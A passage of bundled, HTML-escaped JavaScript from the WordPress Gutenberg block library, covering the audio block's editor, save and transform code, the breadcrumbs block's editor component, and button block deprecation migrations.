                children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
                  import_components8.ToggleControl,
                  {
                    label: (0, import_i18n10.__)(&quot;Autoplay&quot;),
                    onChange: toggleAttribute(&quot;autoplay&quot;),
                    checked: !!autoplay,
                    help: getAutoplayHelp
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
              import_components8.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n10.__)(&quot;Loop&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!loop,
                onDeselect: () =&gt; setAttributes({
                  loop: false
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
                  import_components8.ToggleControl,
                  {
                    label: (0, import_i18n10.__)(&quot;Loop&quot;),
                    onChange: toggleAttribute(&quot;loop&quot;),
                    checked: !!loop
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
              import_components8.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n10.__)(&quot;Preload&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!preload,
                onDeselect: () =&gt; setAttributes({
                  preload: void 0
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
                  import_components8.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n10._x)(
                      &quot;Preload&quot;,
                      &quot;noun; Audio block parameter&quot;
                    ),
                    value: preload || &quot;&quot;,
                    onChange: (value) =&gt; setAttributes({
                      preload: value || void 0
                    }),
                    options: [
                      { value: &quot;&quot;, label: (0, import_i18n10.__)(&quot;Browser default&quot;) },
                      { value: &quot;auto&quot;, label: (0, import_i18n10.__)(&quot;Auto&quot;) },
                      { value: &quot;metadata&quot;, label: (0, import_i18n10.__)(&quot;Metadata&quot;) },
                      {
                        value: &quot;none&quot;,
                        label: (0, import_i18n10._x)(&quot;None&quot;, &quot;Preload value&quot;)
                      }
                    ]
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime172.jsxs)(&quot;figure&quot;, { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_components8.Disabled, { isDisabled: !isSingleSelected, children: /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(&quot;audio&quot;, { controls: &quot;controls&quot;, src: src ?? temporaryURL }) }),
        !!temporaryURL &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(import_components8.Spinner, {}),
        /* @__PURE__ */ (0, import_jsx_runtime172.jsx)(
          Caption,
          {
            attributes: attributes2,
            setAttributes,
            isSelected: isSingleSelected,
            insertBlocksAfter,
            label: (0, import_i18n10.__)(&quot;Audio caption text&quot;),
            showToolbarButton: isSingleSelected &amp;&amp; hasNonContentControls
          }
        )
      ] })
    ] });
  }
  var edit_default = AudioEdit;

  // packages/block-library/build-module/audio/block.json
  var block_default8 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/audio&quot;,
    title: &quot;Audio&quot;,
    category: &quot;media&quot;,
    description: &quot;Embed a simple audio player.&quot;,
    keywords: [&quot;music&quot;, &quot;sound&quot;, &quot;podcast&quot;, &quot;recording&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      blob: {
        type: &quot;string&quot;,
        role: &quot;local&quot;
      },
      src: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;audio&quot;,
        attribute: &quot;src&quot;,
        role: &quot;content&quot;
      },
      caption: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;figcaption&quot;,
        role: &quot;content&quot;
      },
      id: {
        type: &quot;number&quot;,
        role: &quot;content&quot;
      },
      autoplay: {
        type: &quot;boolean&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;audio&quot;,
        attribute: &quot;autoplay&quot;
      },
      loop: {
        type: &quot;boolean&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;audio&quot;,
        attribute: &quot;loop&quot;
      },
      preload: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;audio&quot;,
        attribute: &quot;preload&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-audio-editor&quot;,
    style: &quot;wp-block-audio&quot;
  };

  // packages/block-library/build-module/audio/save.mjs
  var import_block_editor16 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime173 = __toESM(require_jsx_runtime(), 1);
  function save5({ attributes: attributes2 }) {
    const { autoplay, caption, loop, preload, src } = attributes2;
    return src &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime173.jsxs)(&quot;figure&quot;, { ...import_block_editor16.useBlockProps.save(), children: [
      /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
        &quot;audio&quot;,
        {
          controls: &quot;controls&quot;,
          src,
          autoPlay: autoplay,
          loop,
          preload
        }
      ),
      !import_block_editor16.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime173.jsx)(
        import_block_editor16.RichText.Content,
        {
          tagName: &quot;figcaption&quot;,
          value: caption,
          className: (0, import_block_editor16.__experimentalGetElementClassName)(
            &quot;caption&quot;
          )
        }
      )
    ] });
  }

  // packages/block-library/build-module/audio/transforms.mjs
  var import_blob3 = __toESM(require_blob(), 1);
  var import_blocks5 = __toESM(require_blocks(), 1);
  var transforms = {
    from: [
      {
        type: &quot;files&quot;,
        isMatch(files) {
          return files.length === 1 &amp;&amp; files[0].type.indexOf(&quot;audio/&quot;) === 0;
        },
        transform(files) {
          const file = files[0];
          const block = (0, import_blocks5.createBlock)(&quot;core/audio&quot;, {
            blob: (0, import_blob3.createBlobURL)(file)
          });
          return block;
        }
      },
      {
        type: &quot;shortcode&quot;,
        tag: &quot;audio&quot;,
        attributes: {
          src: {
            type: &quot;string&quot;,
            shortcode: ({
              named: { src, mp3, m4a, ogg, wav, wma }
            }) =&gt; {
              return src || mp3 || m4a || ogg || wav || wma;
            }
          },
          loop: {
            type: &quot;string&quot;,
            shortcode: ({ named: { loop } }) =&gt; {
              return loop;
            }
          },
          autoplay: {
            type: &quot;string&quot;,
            shortcode: ({ named: { autoplay } }) =&gt; {
              return autoplay;
            }
          },
          preload: {
            type: &quot;string&quot;,
            shortcode: ({ named: { preload } }) =&gt; {
              return preload;
            }
          }
        }
      }
    ]
  };
  var transforms_default = transforms;

  // packages/block-library/build-module/audio/index.mjs
  var { fieldsKey, formKey } = unlock(import_blocks6.privateApis);
  var { name: name7 } = block_default8;
  var settings7 = {
    icon: audio_default,
    example: {
      attributes: {
        src: &quot;https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg&quot;
      },
      viewportWidth: 350
    },
    transforms: transforms_default,
    deprecated: deprecated_default2,
    edit: edit_default,
    save: save5
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings7[fieldsKey] = [
      {
        id: &quot;audio&quot;,
        label: (0, import_i18n11.__)(&quot;Audio&quot;),
        type: &quot;media&quot;,
        Edit: {
          control: &quot;media&quot;,
          // TODO: replace with custom component
          allowedTypes: [&quot;audio&quot;],
          multiple: false
        },
        getValue: ({ item }) =&gt; ({
          id: item.id,
          url: item.src
        }),
        setValue: ({ value }) =&gt; ({
          id: value.id,
          src: value.url
        })
      },
      {
        id: &quot;caption&quot;,
        label: (0, import_i18n11.__)(&quot;Caption&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings7[formKey] = {
      fields: [&quot;audio&quot;, &quot;caption&quot;]
    };
  }
  var init7 = () =&gt; initBlock({ name: name7, metadata: block_default8, settings: settings7 });

  // packages/block-library/build-module/breadcrumbs/index.mjs
  var breadcrumbs_exports = {};
  __export(breadcrumbs_exports, {
    init: () =&gt; init8,
    metadata: () =&gt; block_default9,
    name: () =&gt; name8,
    settings: () =&gt; settings8
  });

  // packages/block-library/build-module/breadcrumbs/block.json
  var block_default9 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/breadcrumbs&quot;,
    title: &quot;Breadcrumbs&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display a breadcrumb trail showing the path to the current page.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      prefersTaxonomy: {
        type: &quot;boolean&quot;,
        default: false
      },
      separator: {
        type: &quot;string&quot;,
        default: &quot;/&quot;
      },
      showHomeItem: {
        type: &quot;boolean&quot;,
        default: true
      },
      showCurrentItem: {
        type: &quot;boolean&quot;,
        default: true
      },
      showOnHomePage: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    usesContext: [&quot;postId&quot;, &quot;postType&quot;, &quot;templateSlug&quot;],
    supports: {
      anchor: true,
      html: false,
      align: [&quot;wide&quot;, &quot;full&quot;],
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: false,
          color: true,
          width: true,
          style: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-breadcrumbs&quot;
  };

  // packages/block-library/build-module/breadcrumbs/edit.mjs
  var import_i18n12 = __toESM(require_i18n(), 1);
  var import_block_editor17 = __toESM(require_block_editor(), 1);
  var import_components9 = __toESM(require_components(), 1);
  var import_data9 = __toESM(require_data(), 1);
  var import_core_data4 = __toESM(require_core_data(), 1);
  var import_element8 = __toESM(require_element(), 1);
  var import_server_side_render2 = __toESM(require_server_side_render(), 1);
  var import_compose5 = __toESM(require_compose(), 1);
  var import_jsx_runtime174 = __toESM(require_jsx_runtime(), 1);
  var separatorDefaultValue = &quot;/&quot;;
  function BreadcrumbEdit({
    attributes: attributes2,
    setAttributes,
    name: name123,
    context: { postId, postType, templateSlug }
  }) {
    const {
      separator,
      showHomeItem,
      showCurrentItem,
      prefersTaxonomy,
      showOnHomePage
    } = attributes2;
    const {
      post,
      isPostTypeHierarchical,
      postTypeHasTaxonomies,
      hasTermsAssigned,
      isLoading
    } = (0, import_data9.useSelect)(
      (select9) =&gt; {
        if (!postType) {
          return {};
        }
        const _post = select9(import_core_data4.store).getEntityRecord(
          &quot;postType&quot;,
          postType,
          postId
        );
        const postTypeObject = select9(import_core_data4.store).getPostType(postType);
        const _postTypeHasTaxonomies = postTypeObject &amp;&amp; postTypeObject.taxonomies.length;
        let taxonomies;
        if (_postTypeHasTaxonomies) {
          taxonomies = select9(import_core_data4.store).getTaxonomies({
            type: postType,
            per_page: -1
          });
        }
        return {
          post: _post,
          isPostTypeHierarchical: postTypeObject?.hierarchical,
          postTypeHasTaxonomies: _postTypeHasTaxonomies,
          hasTermsAssigned: _post &amp;&amp; (taxonomies || []).filter(
            ({ visibility }) =&gt; visibility?.publicly_queryable
          ).some((taxonomy) =&gt; {
            return !!_post[taxonomy.rest_base]?.length;
          }),
          isLoading: postId &amp;&amp; !_post || !postTypeObject || _postTypeHasTaxonomies &amp;&amp; !taxonomies
        };
      },
      [postType, postId]
    );
    const [invalidationKey, setInvalidationKey] = (0, import_element8.useState)(0);
    (0, import_element8.useEffect)(() =&gt; {
      setInvalidationKey((c2) =&gt; c2 + 1);
    }, [post]);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { content, status, error } = (0, import_server_side_render2.useServerSideRender)({
      attributes: attributes2,
      skipBlockSupportAttributes: true,
      block: name123,
      urlQueryArgs: { post_id: postId, invalidationKey }
    });
    const prevContentRef = (0, import_element8.useRef)(&quot;&quot;);
    (0, import_element8.useEffect)(() =&gt; {
      if (status === &quot;success&quot;) {
        prevContentRef.current = content;
      }
    }, [content, status]);
    const [showLoader, setShowLoader] = (0, import_element8.useState)(false);
    (0, import_element8.useEffect)(() =&gt; {
      if (status !== &quot;loading&quot;) {
        return;
      }
      const timeout = setTimeout(() =&gt; {
        setShowLoader(true);
      }, 400);
      return () =&gt; {
        clearTimeout(timeout);
        setShowLoader(false);
      };
    }, [status]);
    const disabledRef = (0, import_compose5.useDisabled)();
    const blockProps = (0, import_block_editor17.useBlockProps)({ ref: disabledRef });
    if (isLoading) {
      return /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(import_components9.Spinner, {}) });
    }
    let _showTerms;
    if (!isPostTypeHierarchical &amp;&amp; !post?.parent) {
      _showTerms = true;
    } else if (!postTypeHasTaxonomies) {
      _showTerms = false;
    } else {
      _showTerms = prefersTaxonomy;
    }
    let placeholder2 = null;
    const showPlaceholder = !postId || !postType || // When `templateSlug` is set only show placeholder if the post type is not.
    // This is needed because when we are showing the template in post editor we
    // want to show the real breadcrumbs if we have the post type.
    templateSlug &amp;&amp; !postType || !_showTerms &amp;&amp; !isPostTypeHierarchical || _showTerms &amp;&amp; !hasTermsAssigned;
    if (showPlaceholder) {
      const placeholderItems = [];
      if (showHomeItem) {
        placeholderItems.push((0, import_i18n12.__)(&quot;Home&quot;));
      }
      if (templateSlug &amp;&amp; !postId) {
        placeholderItems.push((0, import_i18n12.__)(&quot;Page&quot;));
      } else if (_showTerms) {
        placeholderItems.push((0, import_i18n12.__)(&quot;Category&quot;));
      } else {
        placeholderItems.push((0, import_i18n12.__)(&quot;Ancestor&quot;), (0, import_i18n12.__)(&quot;Parent&quot;));
      }
      placeholder2 = /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
        &quot;nav&quot;,
        {
          ...blockProps,
          style: {
            &quot;--separator&quot;: `&quot;${separator.replace(/\\/g, &quot;\\\\&quot;).replace(/&quot;/g, &#039;\\&quot;&#039;)}&quot;`,
            ...blockProps.style
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(&quot;ol&quot;, { children: [
            placeholderItems.map((text, index) =&gt; /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(&quot;li&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(&quot;a&quot;, { href: `#breadcrumbs-pseudo-link-${index}`, children: text }) }, index)),
            showCurrentItem &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(&quot;li&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(&quot;span&quot;, { &quot;aria-current&quot;: &quot;page&quot;, children: (0, import_i18n12.__)(&quot;Current&quot;) }) })
          ] })
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(import_jsx_runtime174.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(import_block_editor17.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(
        import_components9.__experimentalToolsPanel,
        {
          label: (0, import_i18n12.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              separator: separatorDefaultValue,
              showHomeItem: true,
              showCurrentItem: true
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
              import_components9.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n12.__)(&quot;Show home breadcrumb&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !showHomeItem,
                onDeselect: () =&gt; setAttributes({
                  showHomeItem: true
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
                  import_components9.ToggleControl,
                  {
                    label: (0, import_i18n12.__)(&quot;Show home breadcrumb&quot;),
                    onChange: (value) =&gt; setAttributes({ showHomeItem: value }),
                    checked: showHomeItem
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
              import_components9.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n12.__)(&quot;Show current breadcrumb&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !showCurrentItem,
                onDeselect: () =&gt; setAttributes({
                  showCurrentItem: true
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
                  import_components9.ToggleControl,
                  {
                    label: (0, import_i18n12.__)(&quot;Show current breadcrumb&quot;),
                    onChange: (value) =&gt; setAttributes({ showCurrentItem: value }),
                    checked: showCurrentItem
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
              import_components9.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n12.__)(&quot;Separator&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; separator !== separatorDefaultValue,
                onDeselect: () =&gt; setAttributes({
                  separator: separatorDefaultValue
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
                  import_components9.TextControl,
                  {
                    __next40pxDefaultSize: true,
                    autoComplete: &quot;off&quot;,
                    label: (0, import_i18n12.__)(&quot;Separator&quot;),
                    value: separator,
                    onChange: (value) =&gt; setAttributes({ separator: value }),
                    onBlur: () =&gt; {
                      if (!separator) {
                        setAttributes({
                          separator: separatorDefaultValue
                        });
                      }
                    }
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime174.jsxs)(import_block_editor17.InspectorControls, { group: &quot;advanced&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
          import_components9.CheckboxControl,
          {
            label: (0, import_i18n12.__)(&quot;Show on homepage&quot;),
            checked: showOnHomePage,
            onChange: (value) =&gt; setAttributes({ showOnHomePage: value }),
            help: (0, import_i18n12.__)(
              &quot;If this breadcrumbs block appears in a template or template part that\u2019s shown on the homepage, enable this option to display the breadcrumb trail. Otherwise, this setting has no effect.&quot;
            )
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
          import_components9.CheckboxControl,
          {
            label: (0, import_i18n12.__)(&quot;Prefer taxonomy terms&quot;),
            checked: prefersTaxonomy,
            onChange: (value) =&gt; setAttributes({ prefersTaxonomy: value }),
            help: (0, import_i18n12.__)(
              &quot;The exact type of breadcrumbs shown will vary automatically depending on the page in which this block is displayed. In the specific case of a hierarchical post type with taxonomies, the breadcrumbs can either reflect its post hierarchy (default) or the hierarchy of its assigned taxonomy terms.&quot;
            )
          }
        )
      ] }),
      status === &quot;loading&quot; &amp;&amp; !showPlaceholder &amp;&amp; (prevContentRef.current ? /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(
        html_renderer_default,
        {
          wrapperProps: {
            ...blockProps,
            style: {
              ...blockProps.style,
              opacity: showLoader ? 0.3 : 1
            }
          },
          html: prevContentRef.current
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(import_components9.Spinner, {}) })),
      status === &quot;error&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(&quot;p&quot;, { children: (0, import_i18n12.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n12.__)(&quot;Error: %s&quot;),
        error
      ) }) }),
      showPlaceholder &amp;&amp; placeholder2,
      !showPlaceholder &amp;&amp; status === &quot;success&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime174.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/breadcrumbs/index.mjs
  var { name: name8 } = block_default9;
  var settings8 = {
    icon: breadcrumbs_default,
    example: {},
    edit: BreadcrumbEdit
  };
  var init8 = () =&gt; initBlock({ name: name8, metadata: block_default9, settings: settings8 });

  // packages/block-library/build-module/button/index.mjs
  var button_exports = {};
  __export(button_exports, {
    init: () =&gt; init9,
    metadata: () =&gt; block_default10,
    name: () =&gt; name9,
    settings: () =&gt; settings9
  });
  var import_i18n14 = __toESM(require_i18n(), 1);
  var import_blocks8 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/button/deprecated.mjs
  var import_block_editor19 = __toESM(require_block_editor(), 1);
  var import_compose6 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/utils/migrate-font-family.mjs
  var import_block_editor18 = __toESM(require_block_editor(), 1);
  var { cleanEmptyObject } = unlock(import_block_editor18.privateApis);
  function migrate_font_family_default(attributes2) {
    if (!attributes2?.style?.typography?.fontFamily) {
      return attributes2;
    }
    const { fontFamily, ...typography } = attributes2.style.typography;
    return {
      ...attributes2,
      style: cleanEmptyObject({
        ...attributes2.style,
        typography
      }),
      fontFamily: fontFamily.split(&quot;|&quot;).pop()
    };
  }

  // packages/block-library/build-module/utils/migrate-text-align.mjs
  function migrate_text_align_default(attributes2) {
    const { textAlign, ...restAttributes } = attributes2;
    if (!textAlign) {
      return attributes2;
    }
    return {
      ...restAttributes,
      style: {
        ...attributes2.style,
        typography: {
          ...attributes2.style?.typography,
          textAlign
        }
      }
    };
  }

  // packages/block-library/build-module/button/deprecated.mjs
  var import_jsx_runtime175 = __toESM(require_jsx_runtime(), 1);
  var migrateBorderRadius = (attributes2) =&gt; {
    const { borderRadius, ...newAttributes } = attributes2;
    const oldBorderRadius = [
      borderRadius,
      newAttributes.style?.border?.radius
    ].find((possibleBorderRadius) =&gt; {
      return typeof possibleBorderRadius === &quot;number&quot; &amp;&amp; possibleBorderRadius !== 0;
    });
    if (!oldBorderRadius) {
      return newAttributes;
    }
    return {
      ...newAttributes,
      style: {
        ...newAttributes.style,
        border: {
          ...newAttributes.style?.border,
          radius: `${oldBorderRadius}px`
        }
      }
    };
  };
  function migrateAlign(attributes2) {
    if (!attributes2.align) {
      return attributes2;
    }
    const { align, ...otherAttributes } = attributes2;
    return {
      ...otherAttributes,
      className: clsx_default(
        otherAttributes.className,
        `align${attributes2.align}`
      )
    };
  }
  var migrateCustomColorsAndGradients = (attributes2) =&gt; {
    if (!attributes2.customTextColor &amp;&amp; !attributes2.customBackgroundColor &amp;&amp; !attributes2.customGradient) {
      return attributes2;
    }
    const style2 = { color: {} };
    if (attributes2.customTextColor) {
      style2.color.text = attributes2.customTextColor;
    }
    if (attributes2.customBackgroundColor) {
      style2.color.background = attributes2.customBackgroundColor;
    }
    if (attributes2.customGradient) {
      style2.color.gradient = attributes2.customGradient;
    }
    const {
      customTextColor,
      customBackgroundColor,
      customGradient,
      ...restAttributes
    } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var oldColorsMigration = (attributes2) =&gt; {
    const { color, textColor, ...restAttributes } = {
      ...attributes2,
      customTextColor: attributes2.textColor &amp;&amp; &quot;#&quot; === attributes2.textColor[0] ? attributes2.textColor : void 0,
      customBackgroundColor: attributes2.color &amp;&amp; &quot;#&quot; === attributes2.color[0] ? attributes2.color : void 0
    };
    return migrateCustomColorsAndGradients(restAttributes);
  };
  var blockAttributes = {
    url: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;a&quot;,
      attribute: &quot;href&quot;
    },
    title: {
      type: &quot;string&quot;,
      source: &quot;attribute&quot;,
      selector: &quot;a&quot;,
      attribute: &quot;title&quot;
    },
    text: {
      type: &quot;string&quot;,
      source: &quot;html&quot;,
      selector: &quot;a&quot;
    }
  };
  var v13 = {
    attributes: {
      tagName: {
        type: &quot;string&quot;,
        enum: [&quot;a&quot;, &quot;button&quot;],
        default: &quot;a&quot;
      },
      type: {
        type: &quot;string&quot;,
        default: &quot;button&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;href&quot;,
        role: &quot;content&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a,button&quot;,
        attribute: &quot;title&quot;,
        role: &quot;content&quot;
      },
      text: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;a,button&quot;,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;target&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;rel&quot;,
        role: &quot;content&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;number&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        __experimentalSkipSerialization: [
          &quot;fontSize&quot;,
          &quot;lineHeight&quot;,
          &quot;fontFamily&quot;,
          &quot;fontWeight&quot;,
          &quot;fontStyle&quot;,
          &quot;textTransform&quot;,
          &quot;textDecoration&quot;,
          &quot;letterSpacing&quot;
        ],
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      reusable: false,
      shadow: {
        __experimentalSkipSerialization: true
      },
      spacing: {
        __experimentalSkipSerialization: true,
        padding: [&quot;horizontal&quot;, &quot;vertical&quot;],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      root: &quot;.wp-block-button .wp-block-button__link&quot;,
      typography: {
        writingMode: &quot;.wp-block-button&quot;
      }
    },
    save({ attributes: attributes2, className }) {
      const {
        tagName,
        type,
        textAlign,
        fontSize,
        linkTarget,
        rel,
        style: style2,
        text,
        title,
        url,
        width
      } = attributes2;
      const TagName2 = tagName || &quot;a&quot;;
      const isButtonTag = &quot;button&quot; === TagName2;
      const buttonType = type || &quot;button&quot;;
      const borderProps = (0, import_block_editor19.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor19.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const shadowProps = (0, import_block_editor19.__experimentalGetShadowClassesAndStyles)(attributes2);
      const typographyProps = (0, import_block_editor19.getTypographyClassesAndStyles)(attributes2);
      const buttonClasses = clsx_default(
        &quot;wp-block-button__link&quot;,
        colorProps.className,
        borderProps.className,
        typographyProps.className,
        {
          [`has-text-align-${textAlign}`]: textAlign,
          // For backwards compatibility add style that isn&#039;t provided via
          // block support.
          &quot;no-border-radius&quot;: style2?.border?.radius === 0,
          [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
        },
        (0, import_block_editor19.__experimentalGetElementClassName)(&quot;button&quot;)
      );
      const buttonStyle = {
        ...borderProps.style,
        ...colorProps.style,
        ...spacingProps.style,
        ...shadowProps.style,
        ...typographyProps.style,
        writingMode: void 0
      };
      const wrapperClasses = clsx_default(className, {
        [`has-custom-width wp-block-button__width-${width}`]: width
      });
      return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
        import_block_editor19.RichText.Content,
        {
          tagName: TagName2,
          type: isButtonTag ? buttonType : null,
          className: buttonClasses,
          href: isButtonTag ? null : url,
          title,
          style: buttonStyle,
          value: text,
          target: isButtonTag ? null : linkTarget,
          rel: isButtonTag ? null : rel
        }
      ) });
    },
    isEligible(attributes2) {
      return !!attributes2.textAlign;
    },
    migrate: migrate_text_align_default
  };
  var v12 = {
    attributes: {
      tagName: {
        type: &quot;string&quot;,
        enum: [&quot;a&quot;, &quot;button&quot;],
        default: &quot;a&quot;
      },
      type: {
        type: &quot;string&quot;,
        default: &quot;button&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      },
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;href&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a,button&quot;,
        attribute: &quot;title&quot;,
        role: &quot;content&quot;
      },
      text: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;a,button&quot;,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;target&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;rel&quot;,
        role: &quot;content&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;number&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      alignWide: false,
      color: {
